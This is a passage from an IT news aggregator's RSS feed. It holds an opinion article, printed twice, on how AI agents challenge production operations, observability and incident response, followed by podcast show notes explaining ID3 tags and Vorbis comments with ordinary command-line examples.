<p class="wp-block-paragraph">I’ve published the detection content and the on-chain queries from this work on <a href="https://github.com/yankywilson">my GitHub</a>.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[The production assumptions AI just broke]]></title>
<description><![CDATA[Over the past decade, I have worked through multiple technology transitions, from virtualization and cloud adoption to containers and large-scale automation. Each changed how enterprise IT operated, but they all shared one characteristic: production systems still behaved in broadly predictable wa...]]></description>
<link>https://tsecurity.de/de/3705488/it-security-nachrichten/the-production-assumptions-ai-just-broke/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3705488/it-security-nachrichten/the-production-assumptions-ai-just-broke/</guid>
<pubDate>Wed, 05 Aug 2026 12:14:26 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Over the past decade, I have worked through multiple technology transitions, from virtualization and cloud adoption to containers and large-scale automation. Each changed how enterprise IT operated, but they all shared one characteristic: production systems still behaved in broadly predictable ways. AI is the first shift I have seen that changes the behavior of production itself.</p>



<p class="wp-block-paragraph">In the infrastructure environments I have worked with, production has always depended on a few basic assumptions. Workloads are tied to applications. Applications have owners. Traffic patterns are reasonably predictable. Change windows are planned. Incident response starts with a known service, a known dependency or a known user action.</p>



<p class="wp-block-paragraph">AI agents challenge each one of those assumptions.</p>



<p class="wp-block-paragraph">An AI agent may initiate work without a human clicking a button. It may call APIs at machine speed, move across systems to complete a task, retry failed actions aggressively or generate unusual traffic patterns that look nothing like a traditional application flow. The individual action may be legitimate, but the operational behavior is different.</p>



<p class="wp-block-paragraph">That is the shift CIOs should pay attention to. The question is not only whether AI can be useful in enterprise operations. The harder question is whether production environments are ready for AI-driven activity that behaves less like an application and more like an autonomous participant in the enterprise.</p>



<h2 class="wp-block-heading">Production was built around predictable workloads</h2>



<p class="wp-block-paragraph">For years, production operations have been built around patterns that are easier to manage because they are relatively stable. A user logs in. An application receives a request. A service calls another service. Monitoring tools evaluate latency, errors, saturation and availability. Incident teams look for deviations from known baselines.</p>



<p class="wp-block-paragraph">This model worked because most production systems had a recognizable shape. Even in complex environments, teams could usually identify the application owner, the expected request flow, the normal volume range and the rollback path when something failed.</p>



<p class="wp-block-paragraph">AI workloads do not always behave that way. A single agent completing a business task may generate a burst of API calls, invoke several backend services, open and close sessions quickly and repeat requests in a pattern that looks abnormal when compared with human activity. From a traditional monitoring perspective, this can look like abuse, instability or an integration defect even when the agent is doing exactly what it was asked to do.</p>



<p class="wp-block-paragraph">The opposite problem is just as serious. If teams relax controls broadly to avoid blocking legitimate AI activity, they may also create room for real abuse to hide inside higher-volume machine traffic. That is not a model issue. It is an operational assumption issue.</p>



<p class="wp-block-paragraph">The <a href="https://www.nist.gov/itl/ai-risk-management-framework">NIST AI Risk Management Framework</a> emphasizes that AI risk must be understood across the full lifecycle of AI systems, including design, deployment, use and evaluation. For CIOs, that lifecycle needs to include production operations, not just model selection or application launch.</p>



<p class="wp-block-paragraph">In practice, this means AI cannot be treated as a normal application feature once it begins triggering workflows, touching data, generating traffic or interacting with operational systems. It becomes part of the production environment. That requires a different level of readiness.</p>



<p class="wp-block-paragraph">I have seen similar transitions before with cloud and automation. The first wave is usually tool-focused. Teams ask what the technology can do. The second wave is operational. Teams discover what the technology changes. AI is entering that second phase now.</p>



<h2 class="wp-block-heading">AI changes incident response and observability</h2>



<p class="wp-block-paragraph">When production breaks, teams need to answer a few basic questions quickly. What changed? What system is affected? What users are impacted? Which dependency is failing? Can we roll back safely?</p>



<p class="wp-block-paragraph">AI makes those questions harder because the cause of an incident may not be a code deployment, infrastructure outage or human-initiated workflow. It may be an agent making a decision that is technically allowed but operationally unexpected.</p>



<p class="wp-block-paragraph">For example, an AI-enabled support workflow might retry a failed backend request repeatedly because it is trying to complete a customer task. A human operator may have stopped after one or two failures. The agent may continue until it exhausts a threshold, creates noise across monitoring systems or triggers downstream rate limits. The failure is not that the agent is malicious. The failure is that production systems were not designed to interpret that behavior correctly.</p>



<p class="wp-block-paragraph">This is where observability becomes critical. Traditional dashboards may show traffic growth, error spikes or latency changes, but they may not explain whether the behavior came from a user, application, script, automation job or AI agent. If those categories are not visible, incident response teams are forced to guess.</p>



<p class="wp-block-paragraph">Google’s <a href="https://sre.google/sre-book/monitoring-distributed-systems/">Site Reliability Engineering guidance on monitoring distributed systems</a> is useful because it frames monitoring around symptoms that require action, not just raw system signals. That distinction becomes even more important when AI-driven workflows introduce new behaviors into production.</p>



<p class="wp-block-paragraph">CIOs should expect AI to change what good observability means. It is no longer enough to monitor infrastructure health and application performance. Teams also need visibility into AI-initiated actions, agent-driven traffic patterns, tool usage, retries, failed task loops and dependency chains.</p>



<p class="wp-block-paragraph">The operational question becomes simple: when an AI system causes a production symptom, can the organization trace the action from the agent to the service to the business impact? If the answer is no, AI is already ahead of the operating model.</p>



<p class="wp-block-paragraph">The <a href="https://github.com/cncf/tag-observability/blob/main/whitepaper.md">CNCF observability whitepaper</a> describes observability as a way to understand complex system behavior from external outputs. That idea applies directly here: AI-driven systems will require observability that explains behavior across workflows, not just infrastructure components.</p>



<h2 class="wp-block-heading">Production readiness needs to change before AI scales</h2>



<p class="wp-block-paragraph">The mistake many organizations make is preparing AI for production without preparing production for AI.</p>



<p class="wp-block-paragraph"><em>“The mistake many organizations make is preparing AI for production without preparing production for AI.”</em></p>



<p class="wp-block-paragraph">A pilot can succeed with limited users, narrow workflows and close supervision. Production is different. Production introduces volume, concurrency, exceptions, outages, retries, partial failures, support queues and business pressure. AI agents will encounter all of that, and they will do so at a speed that traditional operational processes may not be ready to absorb.</p>



<p class="wp-block-paragraph">This is why CIOs should treat AI readiness as a production discipline. Before scaling AI-enabled workflows, teams should define what normal AI activity looks like, what abnormal behavior looks like and what evidence is required to troubleshoot the difference. They should know which systems an agent can touch, how agent traffic is labeled, how rate limits apply, how errors are escalated and how failed workflows are stopped.</p>



<p class="wp-block-paragraph">This is not about slowing AI adoption. It is about preventing production from becoming the testing ground for assumptions that were never validated.</p>



<p class="wp-block-paragraph">The 2024 <a href="https://dora.dev/research/2024/dora-report/">DORA Accelerate State of DevOps Report</a> noted that AI can improve individual productivity while also creating tradeoffs for delivery stability and throughput. That is a useful warning for CIOs: productivity gains do not automatically translate into operational maturity.</p>



<p class="wp-block-paragraph">The organizations that will handle this transition well will not be the ones that simply deploy the most AI tools. They will be the ones that adjust production operations early. That means treating AI activity as something to be observed, tested, limited, measured and supported like any other production workload, but with the added recognition that it may behave differently from traditional software.</p>



<p class="wp-block-paragraph">Capacity planning will also need to change. AI workflows may create irregular demand patterns, especially when agents run multi-step tasks across internal systems. A workload that looks small in a pilot can create meaningful load when hundreds or thousands of users trigger agents throughout the day. The cost impact may appear in compute, API calls, storage, logs, monitoring systems or downstream service usage.</p>



<p class="wp-block-paragraph">Change management will need to account for model behavior, prompt updates, tool integrations and workflow changes. A small update to an agent’s instructions may alter how it calls systems, how often it retries, which APIs it uses or how it handles exceptions. In production, that is not merely a content update. It is an operational change.</p>



<p class="wp-block-paragraph">Rollback planning will also need to evolve because reverting an AI-enabled workflow may involve more than restoring application code. It may require disabling agent actions, reverting prompts or temporarily removing tool integrations while preserving business continuity.</p>



<p class="wp-block-paragraph">Incident response will need clearer playbooks. Teams should know how to pause an agent, isolate a workflow, disable a tool integration, reduce task volume or route activity back to human handling when production behavior becomes unsafe or unstable.</p>



<p class="wp-block-paragraph">The larger point is that AI is not just entering the enterprise as another user-facing capability. It is entering the operating fabric of the enterprise. That makes it a CIO concern, not only an AI team concern.</p>



<p class="wp-block-paragraph">Every major technology shift eventually becomes an operational discipline rather than a technology project. AI is reaching that point now. Organizations that recognize this early will be better positioned to scale AI with confidence instead of discovering its operational consequences through production incidents. The next challenge for CIOs is not deploying AI. It is preparing production environments for how AI actually behaves.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[The production assumptions AI just broke]]></title>
<description><![CDATA[Over the past decade, I have worked through multiple technology transitions, from virtualization and cloud adoption to containers and large-scale automation. Each changed how enterprise IT operated, but they all shared one characteristic: production systems still behaved in broadly predictable wa...]]></description>
<link>https://tsecurity.de/de/3705479/it-nachrichten/the-production-assumptions-ai-just-broke/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3705479/it-nachrichten/the-production-assumptions-ai-just-broke/</guid>
<pubDate>Wed, 05 Aug 2026 12:08:20 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Over the past decade, I have worked through multiple technology transitions, from virtualization and cloud adoption to containers and large-scale automation. Each changed how enterprise IT operated, but they all shared one characteristic: production systems still behaved in broadly predictable ways. AI is the first shift I have seen that changes the behavior of production itself.</p>



<p class="wp-block-paragraph">In the infrastructure environments I have worked with, production has always depended on a few basic assumptions. Workloads are tied to applications. Applications have owners. Traffic patterns are reasonably predictable. Change windows are planned. Incident response starts with a known service, a known dependency or a known user action.</p>



<p class="wp-block-paragraph">AI agents challenge each one of those assumptions.</p>



<p class="wp-block-paragraph">An AI agent may initiate work without a human clicking a button. It may call APIs at machine speed, move across systems to complete a task, retry failed actions aggressively or generate unusual traffic patterns that look nothing like a traditional application flow. The individual action may be legitimate, but the operational behavior is different.</p>



<p class="wp-block-paragraph">That is the shift CIOs should pay attention to. The question is not only whether AI can be useful in enterprise operations. The harder question is whether production environments are ready for AI-driven activity that behaves less like an application and more like an autonomous participant in the enterprise.</p>



<h2 class="wp-block-heading">Production was built around predictable workloads</h2>



<p class="wp-block-paragraph">For years, production operations have been built around patterns that are easier to manage because they are relatively stable. A user logs in. An application receives a request. A service calls another service. Monitoring tools evaluate latency, errors, saturation and availability. Incident teams look for deviations from known baselines.</p>



<p class="wp-block-paragraph">This model worked because most production systems had a recognizable shape. Even in complex environments, teams could usually identify the application owner, the expected request flow, the normal volume range and the rollback path when something failed.</p>



<p class="wp-block-paragraph">AI workloads do not always behave that way. A single agent completing a business task may generate a burst of API calls, invoke several backend services, open and close sessions quickly and repeat requests in a pattern that looks abnormal when compared with human activity. From a traditional monitoring perspective, this can look like abuse, instability or an integration defect even when the agent is doing exactly what it was asked to do.</p>



<p class="wp-block-paragraph">The opposite problem is just as serious. If teams relax controls broadly to avoid blocking legitimate AI activity, they may also create room for real abuse to hide inside higher-volume machine traffic. That is not a model issue. It is an operational assumption issue.</p>



<p class="wp-block-paragraph">The <a href="https://www.nist.gov/itl/ai-risk-management-framework">NIST AI Risk Management Framework</a> emphasizes that AI risk must be understood across the full lifecycle of AI systems, including design, deployment, use and evaluation. For CIOs, that lifecycle needs to include production operations, not just model selection or application launch.</p>



<p class="wp-block-paragraph">In practice, this means AI cannot be treated as a normal application feature once it begins triggering workflows, touching data, generating traffic or interacting with operational systems. It becomes part of the production environment. That requires a different level of readiness.</p>



<p class="wp-block-paragraph">I have seen similar transitions before with cloud and automation. The first wave is usually tool-focused. Teams ask what the technology can do. The second wave is operational. Teams discover what the technology changes. AI is entering that second phase now.</p>



<h2 class="wp-block-heading">AI changes incident response and observability</h2>



<p class="wp-block-paragraph">When production breaks, teams need to answer a few basic questions quickly. What changed? What system is affected? What users are impacted? Which dependency is failing? Can we roll back safely?</p>



<p class="wp-block-paragraph">AI makes those questions harder because the cause of an incident may not be a code deployment, infrastructure outage or human-initiated workflow. It may be an agent making a decision that is technically allowed but operationally unexpected.</p>



<p class="wp-block-paragraph">For example, an AI-enabled support workflow might retry a failed backend request repeatedly because it is trying to complete a customer task. A human operator may have stopped after one or two failures. The agent may continue until it exhausts a threshold, creates noise across monitoring systems or triggers downstream rate limits. The failure is not that the agent is malicious. The failure is that production systems were not designed to interpret that behavior correctly.</p>



<p class="wp-block-paragraph">This is where observability becomes critical. Traditional dashboards may show traffic growth, error spikes or latency changes, but they may not explain whether the behavior came from a user, application, script, automation job or AI agent. If those categories are not visible, incident response teams are forced to guess.</p>



<p class="wp-block-paragraph">Google’s <a href="https://sre.google/sre-book/monitoring-distributed-systems/">Site Reliability Engineering guidance on monitoring distributed systems</a> is useful because it frames monitoring around symptoms that require action, not just raw system signals. That distinction becomes even more important when AI-driven workflows introduce new behaviors into production.</p>



<p class="wp-block-paragraph">CIOs should expect AI to change what good observability means. It is no longer enough to monitor infrastructure health and application performance. Teams also need visibility into AI-initiated actions, agent-driven traffic patterns, tool usage, retries, failed task loops and dependency chains.</p>



<p class="wp-block-paragraph">The operational question becomes simple: when an AI system causes a production symptom, can the organization trace the action from the agent to the service to the business impact? If the answer is no, AI is already ahead of the operating model.</p>



<p class="wp-block-paragraph">The <a href="https://github.com/cncf/tag-observability/blob/main/whitepaper.md">CNCF observability whitepaper</a> describes observability as a way to understand complex system behavior from external outputs. That idea applies directly here: AI-driven systems will require observability that explains behavior across workflows, not just infrastructure components.</p>



<h2 class="wp-block-heading">Production readiness needs to change before AI scales</h2>



<p class="wp-block-paragraph">The mistake many organizations make is preparing AI for production without preparing production for AI.</p>



<p class="wp-block-paragraph"><em>“The mistake many organizations make is preparing AI for production without preparing production for AI.”</em></p>



<p class="wp-block-paragraph">A pilot can succeed with limited users, narrow workflows and close supervision. Production is different. Production introduces volume, concurrency, exceptions, outages, retries, partial failures, support queues and business pressure. AI agents will encounter all of that, and they will do so at a speed that traditional operational processes may not be ready to absorb.</p>



<p class="wp-block-paragraph">This is why CIOs should treat AI readiness as a production discipline. Before scaling AI-enabled workflows, teams should define what normal AI activity looks like, what abnormal behavior looks like and what evidence is required to troubleshoot the difference. They should know which systems an agent can touch, how agent traffic is labeled, how rate limits apply, how errors are escalated and how failed workflows are stopped.</p>



<p class="wp-block-paragraph">This is not about slowing AI adoption. It is about preventing production from becoming the testing ground for assumptions that were never validated.</p>



<p class="wp-block-paragraph">The 2024 <a href="https://dora.dev/research/2024/dora-report/">DORA Accelerate State of DevOps Report</a> noted that AI can improve individual productivity while also creating tradeoffs for delivery stability and throughput. That is a useful warning for CIOs: productivity gains do not automatically translate into operational maturity.</p>



<p class="wp-block-paragraph">The organizations that will handle this transition well will not be the ones that simply deploy the most AI tools. They will be the ones that adjust production operations early. That means treating AI activity as something to be observed, tested, limited, measured and supported like any other production workload, but with the added recognition that it may behave differently from traditional software.</p>



<p class="wp-block-paragraph">Capacity planning will also need to change. AI workflows may create irregular demand patterns, especially when agents run multi-step tasks across internal systems. A workload that looks small in a pilot can create meaningful load when hundreds or thousands of users trigger agents throughout the day. The cost impact may appear in compute, API calls, storage, logs, monitoring systems or downstream service usage.</p>



<p class="wp-block-paragraph">Change management will need to account for model behavior, prompt updates, tool integrations and workflow changes. A small update to an agent’s instructions may alter how it calls systems, how often it retries, which APIs it uses or how it handles exceptions. In production, that is not merely a content update. It is an operational change.</p>



<p class="wp-block-paragraph">Rollback planning will also need to evolve because reverting an AI-enabled workflow may involve more than restoring application code. It may require disabling agent actions, reverting prompts or temporarily removing tool integrations while preserving business continuity.</p>



<p class="wp-block-paragraph">Incident response will need clearer playbooks. Teams should know how to pause an agent, isolate a workflow, disable a tool integration, reduce task volume or route activity back to human handling when production behavior becomes unsafe or unstable.</p>



<p class="wp-block-paragraph">The larger point is that AI is not just entering the enterprise as another user-facing capability. It is entering the operating fabric of the enterprise. That makes it a CIO concern, not only an AI team concern.</p>



<p class="wp-block-paragraph">Every major technology shift eventually becomes an operational discipline rather than a technology project. AI is reaching that point now. Organizations that recognize this early will be better positioned to scale AI with confidence instead of discovering its operational consequences through production incidents. The next challenge for CIOs is not deploying AI. It is preparing production environments for how AI actually behaves.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[HPR4698: ID3 Tags and Vorbis Comments]]></title>
<description><![CDATA[This show has been flagged as Clean by the host.






--------------------






01 Introduction






In a response to a post on a previous episode, I said that I would take a look at ID3 tags. 


ID3 tags are text information that is added to an MP3 audio file, such as the author, dat...]]></description>
<link>https://tsecurity.de/de/3704569/podcasts/hpr4698-id3-tags-and-vorbis-comments/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3704569/podcasts/hpr4698-id3-tags-and-vorbis-comments/</guid>
<pubDate>Wed, 05 Aug 2026 02:42:56 +0200</pubDate>
<content:encoded><![CDATA[<p>This show has been flagged as Clean by the host.</p>

<p>

</p>

<p>
--------------------</p>

<p>

</p>

<p>
01 Introduction</p>

<p>

</p>

<p>
In a response to a post on a previous episode, I said that I would take a look at ID3 tags. </p>

<p>
ID3 tags are text information that is added to an MP3 audio file, such as the author, date, name, and other information.</p>

<p>

</p>

<p>
02</p>

<p>
While I am at it I will also look at Vorbis comments, which perform a similar function for vorbis, the container format for "ogg" audio files.</p>

<p>
As example audio files, I will use a recent HPR episode, hpr4678 in both mp3 and vorbis formats plus also one from another podcast as well. </p>

<p>

</p>

<p>
03</p>

<p>
There is Free Software which you can use to view, edit, or remove both types of tags or comments, and I will describe how to use it in this episode.</p>

<p>

</p>

<p>
04</p>

<p>
I will cover how to view tags and extract the text information, as well as how to strip the tags from a file and why you may wish to do so under certain very specific circumstances.</p>

<p>

</p>

<p>
I won't cover how to add to or edit tags in an MP3 or OGG file, as that is a more involved subject that I don't have much experience with. </p>

<p>

</p>

<p>
05</p>

<p>
I will mainly talk about ID3 MP3 tags rather than vorbis comments for the simple reason that the situation with MP3 files is an utter mess while vorbis comments are very straightforward and so there isn't as much to say about them.</p>

<p>

</p>

<p>
06</p>

<p>
As often happens when researching a subject to write a podcast script, I have learned quite a bit that I didn't know previously, and discovered that things that I thought I did know were wrong.</p>

<p>
I hope that you may learn a few things from this episode that you didn't know previously either. </p>

<p>

</p>

<p>
--------------------</p>

<p>

</p>

<p>
07 Background</p>

<p>

</p>

<p>
I won't go over the detailed history of ID3 tags, as I don't have a reliable source for this.</p>

<p>
Briefly however, so far as I can determine, there is no official independent standard for ID3 tags or vorbis comments.</p>

<p>
Both seem to be more in the nature of a convention that was created by an unofficial group of contributors rather than something issued by a standards body.</p>

<p>

</p>

<p>
08</p>

<p>
However, I don't see the lack of a conventional standards body as necessarily a problem with respect to the use of ID3 tags or vorbis comments.</p>

<p>
I just am not familiar enough with the industry to know who to regard as being an authoritative source when it comes to the history and development of them</p>

<p>
Since I am unsure as who to credit with what developments, I will avoid that sort of detail.</p>

<p>

</p>

<p>
09 ID3 Tags</p>

<p>
There is a web site with the URL of ID3.org that seems to have the best reference material on the topic of ID3 tags.</p>

<p>
According to this site, the term "ID3" means "IDentify an MP3".</p>

<p>

</p>

<p>
10 Vorbis Comments</p>

<p>
For vorbis, the reference site seems to be xiph.org.</p>

<p>
Although the implementation details may differ from ID3, from our perspective as podcast listeners, they can be seen as more or less equivalent in terms of what I am going to address here.</p>

<p>

</p>

<p>

</p>

<p>
--------------------</p>

<p>

</p>

<p>
11 ID3 Details</p>

<p>

</p>

<p>

</p>

<p>
Versions</p>

<p>
One of the problems with ID3 is that there are multiple incompatible versions, particularly from the very early days.</p>

<p>
ID3v1 tags are located at the end of the audio file in the last 128 bytes.</p>

<p>
This was done for compatibility reasons to allow early MP3 players to simply ignore the tags if they didn't know how to deal with them. </p>

<p>
The tags would simply appear as a short burst of static from the perspective of these early players.</p>

<p>

</p>

<p>
12</p>

<p>
ID3v2 moved the tags to the start of the MP3 file to allow players to scan the tags for information such as titles without having to read to the end of the file to find them.</p>

<p>
There are far fewer limits on the amount of information that can be placed in ID3v2 tags.</p>

<p>

</p>

<p>
13</p>

<p>
ID3v1 is obsolete and only very old players will require it.</p>

<p>
However, it is still used by some publishers for backward compatibility reasons.</p>

<p>
ID3v1 included numerical musical "genre" category codes which apparently turned out to be a very bad idea in practice. </p>

<p>

</p>

<p>
14</p>

<p>
Furthermore, all genre categories above 70 were defined by an audio software company called Nullsoft who created software such as Winamp.</p>

<p>
These codes were never actually part of the ID3 standard, although there was never really a standard to begin with.</p>

<p>

</p>

<p>
15</p>

<p>
The current ID3 version is 2.3. There is a version 2.4, but apparently it is not actually generally accepted and may be a developmental dead end.</p>

<p>

</p>

<p>
16</p>

<p>
The id3.org web site contains a copy of the ID3v2.3 standard, but I am not going to address the technical details here.</p>

<p>
This would only be of interest to someone who was creating software to read and write ID3 tags.</p>

<p>

</p>

<p>
17 ID3v2 Frames</p>

<p>
The ID3v2 information is encoded into what are called "frames".</p>

<p>
The text information is contained in text information frames.</p>

<p>

</p>

<p>
18</p>

<p>
Text information frames start with a set of four character identifiers, all starting with the capital letter 'T'.</p>

<p>
Examples</p>

<p>
"TALB" is the "Album/Movie/Show title" frame.</p>

<p>
"TIT2" is the "Title/Songname/Content description" frame.</p>

<p>
"TYER" is the "Year" frame.</p>

<p>

</p>

<p>
There are many more, but I won't go into more detail here.</p>

<p>

</p>

<p>
19 HPR ID3 Tags</p>

<p>
HPR makes an interesting case study because they use both ID3v1 and ID3v2 in the same file.</p>

<p>
This can cause some interesting problems with software that tries to read those tags.</p>

<p>
This is because most software appears to expect one or the other, but not both.</p>

<p>
However, so long as this does not cause problems with anything that actually plays the files, this is not a problem so far as people who just want to listen to podcasts are concerned.</p>

<p>

</p>

<p>
It does mean though that we have more to talk about than we would otherwise would have had.</p>

<p>

</p>

<p>

</p>

<p>
--------------------</p>

<p>

</p>

<p>
20 Vorbis Comment Fields</p>

<p>

</p>

<p>
The situation with Vorbis comments is much simpler, as there seems to be just one standard that was adhered to from the start rather than a succession of hacks.</p>

<p>
Information is stored in "fields", which xiph describes as being like Unix environment variables.</p>

<p>
These consist of a field name followed by an equal sign and then the information intended for that field.</p>

<p>
Field names are case insensitive.</p>

<p>

</p>

<p>
21</p>

<p>
The field names are not firmly defined at this stage, but there is a list of recommended names.</p>

<p>
Examples are</p>

<p>
"TITLE" is the Track or Work name.</p>

<p>
"ARTIST" is the person responsible for the work.</p>

<p>
"LICENSE" is the license information.</p>

<p>

</p>

<p>
22</p>

<p>
You can see the complete list for yourself on the comment field and header specification page at xiph.org</p>

<p>

</p>

<p>
--------------------</p>

<p>

</p>

<p>
23 Software for Listing, Adding, and Modifying Tags and Fields</p>

<p>

</p>

<p>
There are three software packages that I will now describe which allow you to list, add, modify, and remove tags and fields.</p>

<p>
There are other packages which can do the same, including some which offer a GUI interface.</p>

<p>
However, I will limit myself to describing these three.</p>

<p>
The principles should be the same for others.</p>

<p>

</p>

<p>
24 ffprobe</p>

<p>
ffprobe is part of the ffmpeg package.</p>

<p>
If you have listened to my previous episodes on audio, you will have heard me talk about ffmpeg.</p>

<p>
ffprobe is used to display information about media files rather than for modifying them.</p>

<p>
ffprobe is licensed under the GPLv2 or later.</p>

<p>

</p>

<p>
ffprobe can be used to display information about both MP3 and OGG Vorbis files.</p>

<p>

</p>

<p>
25 ID3v2</p>

<p>
The next is the rather aptly named id3v2 and works with MP3 files.</p>

<p>
On Linux systems, this should be provided by the id3v2 package.</p>

<p>
On Debian derivatives this can be installed as follows</p>

<p>

</p>

<p>
sudo apt install id3v2</p>

<p>

</p>

<p>
26</p>

<p>
This also installs a man page which provides a brief list of the options.</p>

<p>
According to the README file in the source tarball, this is published under the LGPL</p>

<p>
ID3v2 is particularly useful for displaying ID3v1 tags.</p>

<p>

</p>

<p>
27 vorbiscomment</p>

<p>
The third is "vorbiscomment" and works with OGG files.</p>

<p>
On Linux systems this should be provided by the "vorbis-tools" package.</p>

<p>
On Debian derivatives this can be installed as follows</p>

<p>

</p>

<p>
sudo apt install vorbis-tools</p>

<p>

</p>

<p>
28</p>

<p>
The vorbiscomment program is used to list or edit comments in Ogg Vorbis files.</p>

<p>
This also installs a man page which provides a brief list of the options.</p>

<p>
According to the license.lgpl file in the source tarball, this is published under the LGPL version2.</p>

<p>

</p>

<p>
29</p>

<p>
The display format for vorbiscomment follows the data definition format in the vorbis standard, whereas ffprobe re-formats it to match its own preferred appearance. </p>

<p>

</p>

<p>
--------------------</p>

<p>

</p>

<p>
30 Examples from HPR</p>

<p>

</p>

<p>
With the background out of the way, I will now give several examples of how to list the tags or fields.</p>

<p>

</p>

<p>
31 Listing ID3v1 Tags</p>

<p>

</p>

<p>
As previously mentioned HPR uses both ID3v1 and ID3v2 tags in the same file.</p>

<p>
However, so far as I can tell, most software seems to look for ID3v2 tags first, and don't display the ID3v1 tags if both are present.</p>

<p>

</p>

<p>
32</p>

<p>
The ID3v2 program however seems to do the opposite, at least with HPR podcasts. </p>

<p>
However, the number of samples that I have which have both are rather limited, so I can't be sure if this is always the case or if this is a side effect of something else.</p>

<p>
I did mention that ID3 tags were a mess, didn't I?</p>

<p>

</p>

<p>
33</p>

<p>
Let's go on to our example however.</p>

<p>
If we want to see the ID3v1 tags, then using hpr4678 as an example, if we type</p>

<p>

</p>

<p>
id3v2 -l hpr4678.mp3</p>

<p>
=</p>

<p>
we get the following result.</p>

<p>

</p>

<p>
34</p>

<p>

</p>

<p>
id3v1 tag info for hpr4678.mp3:</p>

<p>
Title  : High Resolution Elapsed Time i  Artist: Whiskeyjack                   </p>

<p>
Album  : Hacker Public Radio             Year: 2026, Genre: Unknown (186)</p>

<p>
Comment: https://hackerpublicradio.or    Track: 0</p>

<p>
hpr4678.mp3: No ID3v2 tag</p>

<p>

</p>

<p>
35</p>

<p>
The first line tells us that this information is ID3v1 tags.</p>

<p>
The last line tells us that there are no ID3v2 tags. </p>

<p>
This last line is incorrect, but we will come back to that later.</p>

<p>

</p>

<p>
36</p>

<p>
In between are three lines of text.</p>

<p>
The first line contains the title and the artist.</p>

<p>
The title is the name of the HPR episode, or at least part of it.</p>

<p>
The artist is the HPR contributor who made that episode.</p>

<p>

</p>

<p>
37</p>

<p>
The second line contains the album name, the year, and the genre.</p>

<p>
The album name is this case is simply Hacker Public Radio, as the concept of an album doesn't really fit a podcast.</p>

<p>
The year is the year that the episode was recorded, or at least the year in which the MP3 file was assembled with the HPR intro and the tags added.</p>

<p>

</p>

<p>
38</p>

<p>
The genre is listed as "unknown 186".</p>

<p>
Recall that with ID3v1 tags there is a one byte numeric genre code, but that no genres above 70 were ever officially assigned.</p>

<p>
It seems to be a general convention though to use a code 186 for podcasts.</p>

<p>

</p>

<p>
39</p>

<p>
The third line contain a comment and track number.</p>

<p>
The comment in this case is the HPR web site URL.</p>

<p>
The track is zero.</p>

<p>
"Track" would appear to serve no useful purpose in this instance.</p>

<p>
However, it may be there for reasons of compatibility that I am unaware of, so I would be very reluctant to remove that without very good reason.</p>

<p>

</p>

<p>
40</p>

<p>
If we look at the above information in detail we can see that two of the tags appear to have cut their text information off short.</p>

<p>
The title is cut off in mid word after the 30th character.</p>

<p>
The final "g" in "hackerpublicradio.org" is cut off in the comment.</p>

<p>

</p>

<p>
41 Alternative Method for ID3v1</p>

<p>
We can confirm whether the text being cut short is due to a problem with the id3v2 program, or whether it really represents the data in the file by using a rather simple check.</p>

<p>

</p>

<p>
42</p>

<p>
Recall that ID3v1 tags are simply the last 128 bytes of the MP3 file.</p>

<p>
All we need to do is to extract the last 128 bytes of the file.</p>

<p>
We can do this using the standard tail command.</p>

<p>

</p>

<p>
tail -c128 hpr4678.mp3 | tr '\0' ' ' | tr -c '[:print:]' 'x'</p>

<p>

</p>

<p>
43</p>

<p>
The -c128 option used with tail tells it to extract the last 128 bytes of the file.</p>

<p>
We then pass the result through the "tr" command and tell it to replace null bytes with new line characters.</p>

<p>
Then we replace any remaining non-printable characters  with an 'x'.</p>

<p>

</p>

<p>
When we do that we get the following</p>

<p>

</p>

<p>
44</p>

<p>

</p>

<p>
TAGHigh Resolution Elapsed Time iWhiskeyjack                   Hacker Public Radio           2026https://hackerpublicradio.or  x</p>

<p>

</p>

<p>
45</p>

<p>
The first three characters are capital TAG.</p>

<p>
This is a flag which indicates that what follows  are ID3 tags.</p>

<p>

</p>

<p>
46</p>

<p>
Next, we have 30 characters which specify the title.</p>

<p>
The next 30 characters specify the artist.</p>

<p>
The next 30 characters are the album, or in this case just "Hacker Public Radio".</p>

<p>
The next 4 characters are the year.</p>

<p>
The next 30 characters are a comment, or in this case the HPR URL, except for the final "g".</p>

<p>
The last character is the genre code, which we have replaced with an "x" because it is otherwise non-printable.</p>

<p>

</p>

<p>
47</p>

<p>
Taken together, these add up to 128 bytes.</p>

<p>
We can see that the field lengths are of fixed length with pre-defined meanings based on position.</p>

<p>

</p>

<p>
--------------------</p>

<p>

</p>

<p>
48 ID3v2 Using ffprobe</p>

<p>
Now lets move on to ID3v2 tags, which is probably more useful for most people.</p>

<p>

</p>

<p>
For this, we will switch to using ffprobe.</p>

<p>
The command for this is</p>

<p>

</p>

<p>
ffprobe -hide_banner hpr4678.mp3</p>

<p>

</p>

<p>
The -hide_banner option suppresses extra data about the codecs which doesn't interest us much and leaves mainly the tag information plus a few other things.</p>

<p>

</p>

<p>
49</p>

<p>
The output gives us the full data that is associated with the podcast episode from the HPR web site.</p>

<p>
This includes the episode number, year, full title, author, license, and full summary text.</p>

<p>
You can see a full copy of this in the show notes.</p>

<p>

</p>

<p>
Input #0, mp3, from 'hpr4678.mp3':</p>

<p>
  Metadata:</p>

<p>
	track           : 4678</p>

<p>
	year            : 2026</p>

<p>
	title           : High Resolution Elapsed Time in Shell Scripts</p>

<p>
	author          : Whiskeyjack</p>

<p>
	copyright       : CC-BY-SA</p>

<p>
	artist          : Whiskeyjack</p>

<p>
	album           : Hacker Public Radio</p>

<p>
	comment         : https://hackerpublicradio.org Clean; Surprises encountered when measuring elapsed time in shell scripts The license is CC-BY-SA</p>

<p>
	genre           : Podcast</p>

<p>
	encoder         : Lavf61.7.103</p>

<p>
	date            : 2026</p>

<p>
